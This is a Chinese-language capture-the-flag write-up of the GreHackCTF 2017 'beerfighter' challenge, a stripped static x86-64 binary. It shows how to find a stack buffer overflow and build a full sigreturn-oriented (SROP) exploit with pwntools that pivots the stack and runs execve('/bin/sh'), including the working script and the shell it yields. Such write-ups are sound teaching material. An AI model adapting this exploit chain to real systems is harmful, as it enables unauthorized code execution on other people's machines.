6.1.5 pwn GreHackCTF2017 beerfighter

下载文件

题目复现

  1. $ file game
  2. game: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=1f9b11cb913afcbbbf9cb615709b3c62b2fdb5a2, stripped
  3. $ checksec -f game
  4. RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
  5. Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 0 game

64 位,静态链接,stripped。

既然是个小游戏,先玩一下,然后发现,进入 City Hall 后,有一个可以输入字符串的地方,然而即使我们什么也不输入,直接回车,在 Leave the town 时也会出现 Segmentation fault:

  1. [0] The bar
  2. [1] The City Hall
  3. [2] The dark yard
  4. [3] Leave the town for ever
  5. Type your action number > 1
  6. Welcome Newcomer! I am the mayor of this small town and my role is to register the names of its citizens.
  7. How should I call you?
  8. [0] Tell him your name
  9. [1] Leave
  10. Type your action number > 0
  11. Type your character name here >
  12. ...
  13. [0] The bar
  14. [1] The City Hall
  15. [2] The dark yard
  16. [3] Leave the town for ever
  17. Type your action number > 3
  18. By !
  19. Segmentation fault (core dumped)

题目解析

程序大概清楚了,看代码吧,经过一番搜索,发现了一个很有意思的函数:

  1. [0x00400d8e]> pdf @ fcn.00400773
  2. / (fcn) fcn.00400773 15
  3. | fcn.00400773 ();
  4. | ; CALL XREF from 0x00400221 (fcn.004001f3)
  5. | ; CALL XREF from 0x004002b6 (fcn.00400288)
  6. | 0x00400773 4889f8 mov rax, rdi
  7. | 0x00400776 4889f7 mov rdi, rsi
  8. | 0x00400779 4889d6 mov rsi, rdx
  9. | 0x0040077c 4889ca mov rdx, rcx
  10. | 0x0040077f 0f05 syscall
  11. \ 0x00400781 c3 ret

syscall;ret,你想到了什么,对,就是前面讲的 SROP。

其实前面的输入一个字符串,程序也是通过 syscall 来读入的,从函数 0x004004b8 开始仔细跟踪代码后就会知道,系统调用为 read()

  1. gdb-peda$ pattern_offset $ebp
  2. 1849771374 found at offset: 1040

缓冲区还挺大的,1040+8=1048

漏洞利用

好,现在思路已经清晰了,先利用缓冲区溢出漏洞,用 syscall;ret 地址覆盖返回地址,通过 frame_1 调用 read() 读入 frame_2 到 .data 段(这个程序没有.bss,而且.data可写),然后将栈转移过去,调用 execve() 执行“/bin/sh”,从而拿到 shell。

构造 sigreturn:

  1. $ ropgadget --binary game --only "pop|ret"
  2. ...
  3. 0x00000000004007b2 : pop rax ; ret
  1. # sigreturn syscall
  2. sigreturn = p64(pop_rax_addr)
  3. sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf
  4. sigreturn += p64(syscall_addr)

然后是 frame_1,通过设定 frame_1.rsp = base_addr 来转移栈:

  1. # frame_1: read frame_2 to .data
  2. frame_1 = SigreturnFrame()
  3. frame_1.rax = constants.SYS_read
  4. frame_1.rdi = constants.STDIN_FILENO
  5. frame_1.rsi = data_addr
  6. frame_1.rdx = len(str(frame_2))
  7. frame_1.rsp = base_addr # stack pivot
  8. frame_1.rip = syscall_addr

frame_2 执行 execve()

  1. # frame_2: execve to get shell
  2. frame_2 = SigreturnFrame()
  3. frame_2.rax = constants.SYS_execve
  4. frame_2.rdi = data_addr
  5. frame_2.rsi = 0
  6. frame_2.rdx = 0
  7. frame_2.rip = syscall_addr

Bingo!!!

  1. $ python2 exp.py
  2. [*] '/home/firmy/Desktop/game'
  3. Arch: amd64-64-little
  4. RELRO: Partial RELRO
  5. Stack: No canary found
  6. NX: NX enabled
  7. PIE: No PIE (0x400000)
  8. [+] Starting local process './game': pid 12975
  9. [*] Switching to interactive mode
  10. By !
  11. $ whoami
  12. firmy

exploit

完整的 exp 如下:

  1. from pwn import *
  2. elf = ELF('./game')
  3. io = process('./game')
  4. io.recvuntil("> ")
  5. io.sendline("1")
  6. io.recvuntil("> ")
  7. io.sendline("0")
  8. io.recvuntil("> ")
  9. context.clear()
  10. context.arch = "amd64"
  11. data_addr = elf.get_section_by_name('.data').header.sh_addr + 0x10
  12. base_addr = data_addr + 0x8 # new stack address
  13. # useful gadget
  14. pop_rax_addr = 0x00000000004007b2 # pop rax ; ret
  15. syscall_addr = 0x000000000040077f # syscall ;
  16. # sigreturn syscall
  17. sigreturn = p64(pop_rax_addr)
  18. sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf
  19. sigreturn += p64(syscall_addr)
  20. # frame_2: execve to get shell
  21. frame_2 = SigreturnFrame()
  22. frame_2.rax = constants.SYS_execve
  23. frame_2.rdi = data_addr
  24. frame_2.rsi = 0
  25. frame_2.rdx = 0
  26. frame_2.rip = syscall_addr
  27. # frame_1: read frame_2 to .data
  28. frame_1 = SigreturnFrame()
  29. frame_1.rax = constants.SYS_read
  30. frame_1.rdi = constants.STDIN_FILENO
  31. frame_1.rsi = data_addr
  32. frame_1.rdx = len(str(frame_2))
  33. frame_1.rsp = base_addr # stack pivot
  34. frame_1.rip = syscall_addr
  35. payload_1 = "A" * 1048
  36. payload_1 += sigreturn
  37. payload_1 += str(frame_1)
  38. io.sendline(payload_1)
  39. io.recvuntil("> ")
  40. io.sendline("3")
  41. payload_2 = "/bin/sh\x00"
  42. payload_2 += sigreturn
  43. payload_2 += str(frame_2)
  44. io.sendline(payload_2)
  45. io.interactive()

参考资料